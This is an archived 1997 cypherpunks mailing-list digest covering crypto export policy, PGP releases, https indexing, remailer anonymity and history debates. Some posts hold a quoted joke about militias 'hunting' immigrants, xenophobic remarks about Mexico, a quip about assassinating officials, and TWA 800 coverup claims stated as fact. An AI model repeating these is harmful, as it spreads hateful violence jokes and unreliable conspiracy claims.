From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Nov 1997 02:16:28 +0800
To: cypherpunks@toad.com
Subject: Rep. Smith on Lifting Crypto Export Ban
Message-ID: <1.5.4.32.19971119174610.00d4dfb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



[Congressional Record: November 13, 1997 (Extensions)]

                  ON LIFTING THE ENCRYPTION EXPORT BAN

                                 ______

                            HON. ADAM SMITH

                             of washington

                    in the house of representatives

                      Thursday, November 13, 1997

  Mr. ADAM SMITH of Washington. Mr. Speaker, I rise today to speak
about an issue that is very important to me--lifting unfair export
controls on encryption technology.

  Mr. Speaker, protecting our National Security interests is among my
highest priorities. If I thought controlling encryption exports worked
toward this end, I would be its strongest proponent. Unfortunately,
export controls on encryption software simply disadvantage the United
States software industry.

  Under current law the United States allows only 40 bit encryption
codes to be exported, although software companies sell encryption codes
of up to 128 bits everywhere in the United States. Forty bit encryption
technology is so elementary, it took a graduate student a mere 3\1/2\
hours to break a code last January. Fifty-six bit encryption is 65,000
times more difficult to decode than 10 bit encryption and it only took
students three months to break the encryption code. One hundred twenty
eight bit encryption has not been broken yet.

  Naturally, foreign companies do not want to buy 40 bit encryption
software, because it is so vulnerable and insecure. The possibilities
for ``computer hackers'' to break into the system and wreak havoc are
enormous and dangerous. Therefore, foreign companies are purchasing
high-level encryption from foreign software providers instead of
American ones.

  The international demand for encryption software is growing
exponentially because of the tremendous rise in electronic commerce.
For instance, German Economics Minister, Guenter Rexrodt, said, ``Users
can only protect themselves against having data manipulated, destroyed,
or spied on by strong encryption procedures * * *. That is why we have
to use all of our powers to promote such procedures instead of blocking
them.''

  Our export restraint has not kept the technology from proliferating.
It has merely allowed foreign producers of strong encryption technology
to fill the vacuum. In fact, American companies are partnering with
foreign firms to distribute their software--taking jobs and revenue
with them.

  American-owned Sun Computers has recently joined with a Russian
software company to avoid the U.S. export ban and sell to foreign
markets. Foreign companies can also purchase American-produced 40 bit
encryption technology and upgrade it in their own countries to 128 bit
encryption technology. This ``add-on'' industry is among the fastest
growing software industries in Europe today. Clearly, if someone wants
high-level encryption technology, he or she can easily obtain it.

  The ability to obtain both powerful and affordable encryption will
now become easier with recent developments in Canada. The Canadian
Government includes encryption software in decontrolling mass market
software under the Generic Software Note. This means any software sold
over-the-counter, by mail or on the phone may be exported without
limits. Entrust, a Canadian software company, is freely marketing and
selling internationally a 128 bit encryption program right now. It
sells for less than $50, and Entrust provides a version of the
encryption technology free on the Internet. Even our most steadfast
ally sees that export controls can no longer help stem the overwhelming
demand and spread of unbreakable encryption.

  Mr. Speaker, if the United States continues to impose these
restrictive export bans on its own companies, ``foreign competition
could emerge at a level significant enough to damage the present U.S.
world leadership'' in the software industry, according to the National
Research Council's blue-ribbon panel on encryption policy. If our
export ban continues, the United States will not be the worldwide
leader on encryption technology for long, and that would be a true risk
to our national security.

  I strongly oppose any unilateral sanctions or regulations that put
the United States at an unnecessary disadvantage. Our current export
ban on encryption software is a perfect example, and I intend to
continue the fight to change our policy and allow the United States to
compete in the global software market.

                          ____________________

Archived at:

   http://jya.com/smith-crypto.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian the Obscure <briandaniels@mindspring.com>
Date: Thu, 20 Nov 1997 02:07:12 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>
Message-ID: <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 AM 11/19/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>, on 11/19/97 
>   at 10:57 AM, Brian the Obscure <briandaniels@mindspring.com> said:
>
>>At 08:12 PM 11/18/97 -0700, Tim May wrote:
>>>Ironically, the authorities are refusing to enforce the immigration laws.
>>>This is why the militias here in California have been forced to deal with
>>>illegal immigrants in the only way left to them. (There's a hunt in
>>>Imperial Valley this coming Saturday.)
>>>
>>>--Tim May
>
>>Now that's a tasteful bit of humor, if I do say so myself.
>
>>It's so nice to know that being lucky enough to be born in the U.S.
>>authorizes us to look down on and hey, advocate killing those who aren't
>>so fortunate.
>
><sigh> I can hear the violins playing in the background.

Hey, it beats the stomping of jackboots and shouts of 'Sig Heil!'

>
>This is no different than shooting a burglar that has broken into your
>house and is robbing it. I think that you are missing a basic concept that
>it is not their country!! If where they are at is such a miserable
>shithole then maybe they should do somthing to fix their country rather
>than comming here and attempt to make it yet another miserable shithole.

Of course, you have an unimpeachable claim, although 'Geiger the III' is a
rather odd last name for an American Indian.

>
>It is not the fault of America that Mexico is the shithole that it is.
>Perhaps if they were to overthrow their corrupt government and replaced it
>with one based on freedom (both political and economic) there would be no
>need for them to come here in the first place. California, New Mexico,
>Arizona, and Texas should not be the release valve for a corrupt Mexican
>government so they can continue to rape their country and leave their
>citizens in poverty.

Lets see.  Are you aware of how Texas, California, and New Mexico came to
be part of the US?  Probably doesn't matter - those dang furriners had no
right to the lands they lived on anyway, once the U.S. decided it wanted them.

I don't find it at all surprising that people who live in a 'shithole' want
to leave.  It is easy for you to suggest that they overthrow their
government - after all, you won't be the one facing a Mexican prison.  

This is going way off topic at this point, and I am at fault for starting
it.  I was just distressed at how rapidly this list seems to be turning
towards hate and bigotry.  Lets take it to email.

--Brian



Brian Daniels               | Gremlins squashed, bit-buckets emptied,
briandaniels@mindspring.com | webs woven&patched, cables untangled,
                            | users placated (extra fee), demons
                            | invoked&dispelled, hacks while you wait!
		http://www.mindspring.com/~briandaniels

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQENAzQh2VwAAAEH/2dBsIVIAB7fx62ylTAfa2JBgSmy3pLyywtBZj88TY/EcoB5
A7wDKsh53VjqaKM9pL1F4JQ/dxVF96lhh7QMSmWB1nqa4e/FWld2f/VqZxKSHu/9
9QDW5YgydAI/0S9wBxwefpNg/Dd9PvtJwkLlE5BtBcbzVSzc9cGPpFIs/g2914QX
uXTPhjNrqreC+7IBZAfTqv7LFO7NnACBS4A61/AGwey4X15gN1TzPBwgahK+SL4U
0+45TJfEg46MdGAv7+vs16u/5+l/e3eoCgySh6yKP/GQ+lV4h1u3+DztCRX5ypJz
DmXlCia5f4DuHXbJWLp2kA7D1rxsntS5x1I74x0ABRG0LkJyaWFuIEwuIERhbmll
bHMgPGJyaWFuZGFuaWVsc0BtaW5kc3ByaW5nLmNvbT4=
=YgZn
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 02:42:02 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.5 Freeware
Message-ID: <v04002706b098d7eac1bc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: wprice@mail.pgp.com
Mime-Version: 1.0
Date: Wed, 19 Nov 1997 07:42:57 -0800
To: thomassr@erols.com
From: Will Price <wprice@pgp.com>
Subject: PGP 5.5 Freeware
Cc: mac-crypto@vmeng.com
Sender: <mac-crypto@vmeng.com>
Precedence: Bulk

Yes, a freeware version of 5.5 for Mac and Win32 will be available later
today from the PGP, Inc. website.  Since Linux 5.5 isn't ready yet, we're
distributing source for diffs between PGP 5.0i b8 up to the final 5.0 UNIX
release.  Meanwhile, all the source to the Win32 and Mac versions of 5.5.2
is about to go to press.

The version number of the freeware going up today is 5.5.2 as we've had a
couple free updates since the main release of 5.5 Business Security.  The
freeware version contains information on exactly what the differences are
between the Freeware, Personal Privacy, and Business Security editions of
the product.

-Will

At 2:48 AM -0800 11/19/97, Tom Vier wrote:
>> PGP 5.5 is available now, is fully compatible with MacOS 8.X, and has
>> orders of magnitude more features and speed than FileCrypt.
>
>is there going to be a freeware version? what about source for
>linux systems?


Will Price, Architect/Sr. Mgr.
Pretty Good Privacy, Inc.
555 Twin Dolphin Dr, Ste.570
Redwood Shores, CA 94065
Direct (650)596-1956
Main   (650)572-0430
Fax    (650)631-1033
Pager  (310)247-6595
wprice@pgp.com
Internet Text Paging: <mailto:1333485@roam.pagemart.net>
<pgpfone://clotho.pgp.com>
<http://www.pgp.com>

PGPkey: <http://pgpkeys.mit.edu:11371/pks/lookup?op=get&search=0x5797A80B>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Thu, 20 Nov 1997 02:27:32 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Search engines and https
Message-ID: <2328C77FF9F2D011AE970000F84104A749344B@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



I suspect this is just a hangover from the earlier days of the Web
(1993-1994) when it seemed to me that a lot of Web content was
repurposed from other sources (gopher, FTP, Telnet -- the old "page
after page of links").  I suspect that http://-only indexing occurred so
that the early search engines could manage the amount and types of data
indexed.

The other aspects are that:
* https:// can be significantly slower to server off of a smaller server
(http:// giving OK performance, but https:// being a dog), which may
prevent some from serving more content via https://; and
* Many of us find being your own Certificate Authority makes for greater
security, as you never have to let your private keys out the door, but
only recently have the tools for creating and maintaining Certificate
Authorities and server certificates become really commercialized (i.e.
GUI front ends, available from Netscape and Microsoft, etc.)

These aspects, I think, have combined to reduce the number of pages
served by https://, such that the search engine vendors probably haven't
been bugged very much to index https:// pages.  I expect this to change.
> ==========================================================
> Mark Leighton Fisher          Thomson Consumer Electronics
> fisherm@indy.tce.com          Indianapolis, IN
> "Their walls are built of cannon balls, their motto is
> 'Don't Tread on Me'"
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 02:42:00 +0800
To: cypherpunks@cyberpass.net
Subject: [Fwd: *DLS Lecture -Robert Morris - NSA - Tomorrow*]
Message-ID: <v0400270db098dc22bf8b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Wed, 19 Nov 1997 10:31:13 -0500
From: Richard Lethin <lethin@etcons.com>
MIME-Version: 1.0
To: dcsb@ai.mit.edu
Subject: [Fwd: *DLS Lecture -Robert Morris - NSA - Tomorrow*]
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Richard Lethin <lethin@etcons.com>



Return-Path: <bbarry@hq.lcs.mit.edu>
Received: from life.ai.mit.edu (life.ai.mit.edu [128.52.32.80])
	by deer-park.etcons.com (8.8.5/8.8.5) with ESMTP id KAA10234
	for <lethin@etcons.com>; Wed, 19 Nov 1997 10:34:27 -0500 (EST)
Received: from LCS.MIT.EDU (mintaka.lcs.mit.edu [18.26.0.36])
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	id AA15548; Wed, 19 Nov 97 10:18:30 EST
Message-Id: <v03020905b098a38d820a@[18.49.0.239]>
Mime-Version: 1.0
Content-Type: text/enriched; charset="us-ascii"
Date: Wed, 19 Nov 1997 10:17:47 -0400
To: seminar@ai.mit.edu, seminars@lcs.mit.edu, help-teach@lcs.mit.edu,
        assistants@ai.mit.edu, mas-students@media.mit.edu,
        support@media.mit.edu, eecsfaculty@eecs.mit.edu,
        dchamber@warren.med.harvard.edu, wmurphy@mediaone.net,
        Kenneth_Burrell/CAM/Lotus@lotus.com, vijak@eecs.harvard.edu,
        CMCampos@aol.com, Stephanie_Leung@cmp4.ccmail.compuserve.com
From: Barbara Barry <bbarry@hq.lcs.mit.edu>
Subject: *DLS Lecture -Robert Morris - NSA - Tomorrow*

(Please excuse multiple posts)

*SEMINAR ANNOUNCEMENT ******************************

MIT Lab for Computer Science 	Distinguished Lecturer Series

Thursday, November 20, 1997	Lecture, 3:30pm
Location 34-101		Refreshments, 3:15pm
50 Vassar Street, Cambridge


Robert Morris, National Security Agency, Retired

Protection of Valuable Information

Over the past few decades, there has been a considerable shift in the area
of protection and exploitation of valuable information.  In the past, the
relevant skills were exercised by governments to protect or exploit
military and diplomatic information.  Nowadays, much of the interest in
information protection is by individuals wishing to protect their
privacy and by organizations wishing to protect their financial interests.

Here are the questions that come up that are worth some thought:

- does the breakup of the Soviet Union significantly reduce the
exploitation of U.S. Government information?

- has the world wide spread of ATMs (Automatic Teller Machines)
led to a great deal of electronic theft - and, if so how are they
protected?

- is cryptography more important than careful handling of information
and is cryptanalysis more important than burglary, bribery, and
blackmail?

Host: Ron Rivest

***************************************************
for the DLS season schedule check out
http://www.lcs.mit.edu/web_project/dls97.html
***************************************************




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Thu, 20 Nov 1997 06:25:55 +0800
To: cypherpunks@toad.com
Subject: Re: RESULT: comp.org.cauce passes 548:122
In-Reply-To: <slrn66v7m2.gk.ichudov@manifold.algebra.com>
Message-ID: <199711192132.NAA14828@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



tskirvin@uiuc.edu (Tim Skirvin) wrote:
    
> Followup-To: comp.org.cauce 

[...]

> [note followups] 

Unable to comply, for obvious reasons.

> ichudov@algebra.com (Igor Chudov @ home) writes:
>    
> >What I _do_ see is that the un-elected "representatives" of CAUCE  
> >outlawed anonymous postings in their newsgroup.
>  
>         To repeat for everyone else - they have done no such thing.
> Anonymous postings are still okay in comp.org.cauce - however, the address
> must point back to a real address.  

If an address points back to a real address, then it's not *ANONYMOUS*, 
though.

> If anything, COC's moderation procedure has shown that they're in favor of 
> anon.penet.fi-style anonymous remailers - which, in my mind, is a good idea. 

Anon.penet.fi was *NOT* an anonymous remailer, though.  It was a "pseudonym
server".  The fact that it maintained a database by which posts could be
"traced back to a real address" is the main reason why it's no longer in
operation.  Maintaining that sort of information is an open invitation for
abuse by censorious elements, such as the "Church" of $cientology.

The chilling effect of knowing that identifying information is available for
abusive individuals and organizations to demand amounts to a form of
censorship through intimidation.

Ultimately, IMO, you harm the anti-UCE cause when you bundle it with an
anti-privacy agenda which requires broadcasting one's identity as the price
of free expression.

>         Anonymity by forgery, of course, isn't allowed in COC.  I don't
> see this as an overly bad thing.  Anonymity by munging isn't allowed there
> either, but I don't consider that to be anonymity in the first place.

This message, for example, uses neither method to attain anonymity, yet it
would be banned from comp.org.cauce.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill payne <billp@nmol.com>
Date: Thu, 20 Nov 1997 05:19:17 +0800
To: Cypherpunks@cyberpass.net
Subject: Marshmallows
Message-ID: <34735232.3D44@nmol.com>
MIME-Version: 1.0
Content-Type: text/plain

Attached was sent this noon.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Nov 1997 01:05:16 +0800
To: shamrock@cypherpunks.to
Subject: Re: Search engines and https
In-Reply-To: <Pine.BSF.3.96.971120140025.11686D-100000@pakastelohi.cypherpunks.to>
Message-ID: <199711191459.OAA02975@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> On Wed, 19 Nov 1997, Adam Back wrote:
> > 
> > One thing you could do is to have your server use http (no s) iff the
> > connection comes from a known search engine.  Reasonably easy to do --
> > set up an http server, and block all sites, and put in allow
> > directives for the search engines.
> 
> Then the search engine would list the wrong URL. 

Yes; so make the failure page from your http server say: connect to
https://www.cypherpunks.to.

More elegant, but a bit more difficult, would be to do the right
thing.

That is: 

1. connection on https port & coming from *.altavista.com allow.
2. connection on https port & coming from somewhere else insist on SSL

(Would this work?  Wander if their spider will talk to https port with
http?)

> The idea is to get people to use crypto. In fact, as soon as I find
> the time, cypherpunks.to will reject weak crypto browsers and
> provide those unfortunate enough to use such a browser with pointers
> to upgrade options.

Kewl.  Anyone know where those patches to convert for netscape 40 bit
crippleware to 128 bit crypto are?

Save download time -- a version 4 browser is quite large to download.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 20 Nov 1997 07:18:56 +0800
To: cypherpunks@toad.com
Subject: Re: [cpe:4707] Re: Exporting crypto from Japan
In-Reply-To: <199711190552.OAA16422@eccosys.com>
Message-ID: <3.0.3.32.19971119150223.006e4e04@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:00 AM 11/19/1997 EST, Dr.Dimitri Vulis KOTM wrote:
>Once again, Ito-san demonstrates that he's an ignorant uneducated buffoon,
>on par with the pathologial liar Charlie Platt.

Dmitri, you've got to keep straight which people you're calling
liars, which people you're calling pedophiles, which people you're
calling homosexuals, and which people you're calling Mama.
Otherwise we won't know whether it's really you or some forger
trying to increase your reputation capital.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 05:24:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
Message-ID: <v04002736b098f79b3403@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Wed, 19 Nov 1997 14:00:08 -0500 (EST)
X-Sender: dweightman@pop.radix.net
To: e$@thumper.vmeng.com, :
From: Donald Weightman <dweightman@Radix.Net>
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
Mime-Version: 1.0

For Heaven's sake, guys, there were _two_ religious revivals by the name of
the 'Great Awakening'. One in England, early 18thC., most prominent
product: John Wesley & Methodism. The other in this country, at its height
in the 1840's,  with the Church of the Later Day saints as _its_ most
prominent product.


Don Weightman


At 08:13 AM 11/19/97 -0500, you wrote:
>---------------------------------------------------------------------
>This mail is brought to you by the e$pam mailing list
>---------------------------------------------------------------------
>
>Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
>To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
>Date: Tue, 18 Nov 1997 19:43:13 -0600 (CST)
>X-Mailing-List: cypherpunks@ssz.com
>X-Loop: ssz.com
>X-Language: English, Russian, German
>Sender: owner-cypherpunks@cyberpass.net
>Precedence: bulk
>Reply-To: Jim Choate <ravage@ssz.com>
>X-Loop: cypherpunks@cyberpass.net
>
>Forwarded message:
>
> > Date: Tue, 18 Nov 1997 18:10:17 -0500
> > From: Robert Hettinga <rah@shipwright.com>
> > Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
>
> >
> > At 3:14 pm -0500 on 11/18/97, Jim Choate shows the benefits of being on
the
> > top of a CDR address stack :-) :
> >
> > > Um, I believe that went from the late 1500's to the early 1700's at
best.
> >
> > Nope. Check it out. As defined in any decent book of American history,
> > well, maybe one that hasn't been too "revised" :-),  the "Great
Awakening",
> > which gave us most of our American-flavored religions, happened in the
> > early part of the 19th century, though rumblings started shortly after the
> > revolution.
>
> I did a little web-search (still being at work and deprived of my library)
> but what I can find clearly indicates the 'Great Awakening' was fininished
> by the mid to late 1750's. Most of the sources that I found from Alta Vista
> give the beginning of the Great Awakening as the late 1600's to early
> 1700's.
>
> While I clearly put the beginning of the movement too early (I always get
> this confused with the beacon on the hill jive) all the evidence that I
> can gather shows that it did *not* extend into any part of the 1800's.
> As I understood the movement it didn't survive the American War of
> Indipendance.
>
> I used Alta Vista and search terms of 'great' & 'awakening'.
>
>
>     ____________________________________________________________________
>    |                                                                    |
>    |    The financial policy of the welfare state requires that there   |
>    |    be no way for the owners of wealth to protect themselves.       |
>    |                                                                    |
>    |                                       -Alan Greenspan-             |
>    |                                                                    |
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http://www.ssz.com/   |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
>
>
>----------------------------------------------------------------------
>Where people, networks and money come together:        Consult Hyperion
>http://www.hyperion.co.uk/                          info@hyperion.co.uk
>----------------------------------------------------------------------
>Full-Strength Cryptographic Solutions for Worldwide Electronic Commerce
>http://www.c2.net/                                    stronghold@c2.net
>----------------------------------------------------------------------
>Like e$? Help pay for it!
>For e$/e$pam contributions or sponsorship:  <mailto:rah@shipwright.com>
>----------------------------------------------------------------------
>
>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 20 Nov 1997 07:28:30 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: From the Files - Freeh and Flight 800
In-Reply-To: <Pine.GSO.3.95.971118140330.17258F-100000@well.com>
Message-ID: <199711192314.PAA03507@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




I don't understand TCM's recent comments about Kallstrom
doing a "good job" on proving or concluding that the airliner TWA800
was not shot down or bombed.

anyone who has followed anything written by Ian Goddard
on the internet can only drop their mouth in disbelief.

I urge anyone who wants more facts on the matter to look
up Ian Goddard's web site on a search engine. there is
a lot of really solid evidence, including extremely credible
eyewitness accounts, that it was a MISSILE. whether it was
from our own government or not is a question -- but I 
fail to see how any well-informed people cannot be aware
of the foul, odiferous coverup by the FBI (which to me 
suggests it was a US military exercise)

also see the book by James Sanders, "the downing of flight TWA800"--
he had a confidential informant involved in the NTSB 
investigation.





---------- Forwarded message ----------
Date: Thu, 13 Nov 1997 12:37:04 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: rotenberg@epic.org
Subject: From the Files - Freeh and Flight 800


Today the FBI ended the TWA Flight 800 criminal probe. The FBI's
lead investigator James Kallstrom said that the FBI found
"absolutely no evidence" that the tragedy was the result of
a criminal act.

But what was the FBI telling Congress after the incident
occurred? The following expert from CNN is worth saving.
Keep in mind that the FBI Director was simultaneously
lobbying the Judiciary Committee for expanded wiretap
authority.

Marc.


>From the CNN, July 20, 1996
[http://cnn.com/US/9607/20/twa.crash.probe/index.html]

U.S. Sen. Orrin Hatch, R-Utah, who was among members of Congress briefed
Friday by FBI Director Louis Freeh, said it looked "pretty darn conclusive"
that
either a bomb or a missile caused the explosion.

"We're looking at a criminal act," Hatch said. "We're looking at somebody who
either put a bomb on it or shot a missile, a surface-to-air missile."

Hatch, chairman of the Judiciary Committee, told CNN he came to his conclusions
after "various conversations" with government officials.

"I won't go so far as to say it was terrorism, but there was sabotage
here," Hatch
said. "It looks like that."

"It's very -- almost 100 percent unlikely -- that this was a mechanical
failure," he
said. "It looks pretty darn conclusive that it was an explosion caused either
internally or externally that was caused by a criminal act."

 * * *








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Grigg <iang@systemics.com>
Date: Thu, 20 Nov 1997 02:07:00 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: cryptx spam - des-based program.
In-Reply-To: <199711191531.KAA07810@homeport.org>
Message-ID: <3473229E.6BC5E22A@systemics.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Shostack wrote:
> 
> As the maintainer of the free crypto libraries page
> (www.homeport.org/~adam/crypto), I'm strongly tempted to refuse to add
> any new library whose name starts with crypt.

I'd be interested to hear your reasons for this.  Is it a comment on
crowding or on the use of the generic?  Looking at your page, I guess
it's the overcrowding:  Crypto++ CryptoLib CryptLib Cryptix.  Try
swapping the columns to intersperse the crypt-cartel.

Of course, successful names and generic roots soon get copied.  Back in
the good old days, there were so many companies with words like micro
and soft in them that it was confusing.

These days, branding has moved away from techno-terms, probably as the
industry becomes more mainstream.  Crypto is still not mainstream, but
if the USG silliness continues, it will become a more mature industry,
and there will be less need to convince the managers that a crypto
package is only good if it has the word crypto in.

As the industry matures, the original, successful brands will survive,
even though they might be inappropriate for a new entrant.  For e.g.,
Microsoft and General Motors.
-- 
iang                                      systemics.com

FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Luc Saint-Elie <lse@saint-elie.com>
Date: Thu, 20 Nov 1997 00:55:48 +0800
To: cypherpunks@Algebra.COM
Subject: Looking for a Web anonymiser
In-Reply-To: <347182CF.DA81779@systemics.com>
Message-ID: <3.0.5.32.19971119173241.0081c920@mail.imaginet.fr>
MIME-Version: 1.0
Content-Type: text/plain



Hello,

I'm in great need for a web anonymiser supporting https connections (that's
not alas the case for excellent www.anonymiser.com)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 20 Nov 1997 08:16:36 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Mad as Hell
In-Reply-To: <v0400273cb091012f0380@[139.167.130.248]>
Message-ID: <3473799B.55A5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga, leaping logical chasms with a single bound, wrote:

> At 7:08 am -0500 on 11/14/97, frissell@panix.com wrote:
> > The phrase "capital crime" (literaly "head crime") just means "worst
> >crime".
> > It does not imply punishment.  Punishment for capital crimes varies with
> >time
> > and place.  Saying someone is guilty of an infamous crime is not a death
> > threat.  It's not even a death threat to say, "I think X should be arrested,
> > tried by a court, and gassed."  You are merely expressing opinions about
> > criminal guilt and perhaps capital punishment but you are not making a
> > threat.

> Tim says we're going to war. He says that a judge commits a capital crime,
> by whatever definition he, or you, choose to use. Most people, and it
> doesn't have to be you, or me, or even Tim himself, would call that a
> threat, and, in the above case, against a judge. 

  Get real, begins-with-a-'b'-ends-with-a-'b'.
  Every President in recent history has committed capital crimes.
Pointing
that out can hardly be considered some kind of threat, since we all know
that they have always done so, and will continue to do so, with
impunity.
  A 'threat' would be to imply that anyone assassinating a judge or a
President would get to sleep with Jody Foster.

  The mainstream press is pushing the smoking-gun confirmation of Tricky
Dicky Nixy as a multiple-felon as "News" <har-har-snicker-snicker>.
  The millions of people who recognized his treason against the nation,
despite the lies of our politicians and press, could hardly be seen as
'threatening' ElTrickster, since I don't know anyone who thought he was
worth wasting a bullet on.
  As a matter of fact, I believe that a Peephole's Kourt in Kalifornia
tried Tricky Dicky, found him guilty, and sentenced him to live the
rest of his life as himself. (Cruel and unusual punishment?)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 07:55:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 2nd Great Awakening
Message-ID: <199711192354.RAA00136@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



> X-within-URL: http://www.gnbvoc.mec.edu/webquest/PPERRY3.htm

>                   2ND GREAT AWAKENING & WESTWARD EXPANSION
>                                        
> 1815-1850
> 
>    
>    This time period brought the young country through rapid social and
>    economic change. This change brought with it regional and cultural
>    tensions. Americans sought personal, social and economic improvements
>    in their lives. A new middle class arose as people moved from rural to
>    urban settings. In the Northeast, lives changed for girls and women as
>    the factory system took hold. Lowell Mill Girls Americans also took
>    aim at the problems resulting from rapid social change and women like
>    Dorothea Dix left their mark on society. Women also began leaving
>    their mark in the professions, more and more women began teaching and
>    one courageous women, despite unbelieveable odds recieved a medical
>    degree. Elizabeth Blackwell 
>    
>    Participation in the anti-slavery movement inspired many women to
>    consider their own role in society. Some believed like Catharine
>    Beecher that a women's place was in her duty to home and family. She
>    wrote her down her thoughts in her Treatiste on Domestic Economy.
>    Sarah Hale, in the meantime spent 40 years defining for millions of
>    American women their proper sphere...refined, educated, moral,
>    wholesome, tasteful, gentle and skillful homemakers. She did this
>    through Godey's Lady's Book. While women like Elizabeth Cady Stanton
>    took a more active role in the fight for equal rights for women. An
>    important day came for women when Stanton and others issued the
>    Declaration of Sentiments at the Seneca Falls Convention, in Seneca
>    Falls, New York.
>    
>    American pushed westward toward Texas, California and Oregon in search
>    of new opportunities. The lives of the Native Americans were once more
>    impacted by the movement of the white man. Thousands of settlers
>    traveled west over the Oregon Trail to Oregon and California. Among
>    them Narcissa Whitman who was the first white women to travel the
>    Oregon Trail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 07:56:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 1st Great Awakening
Message-ID: <199711192355.RAA00175@einstein.ssz.com>
MIME-Version: 1.0
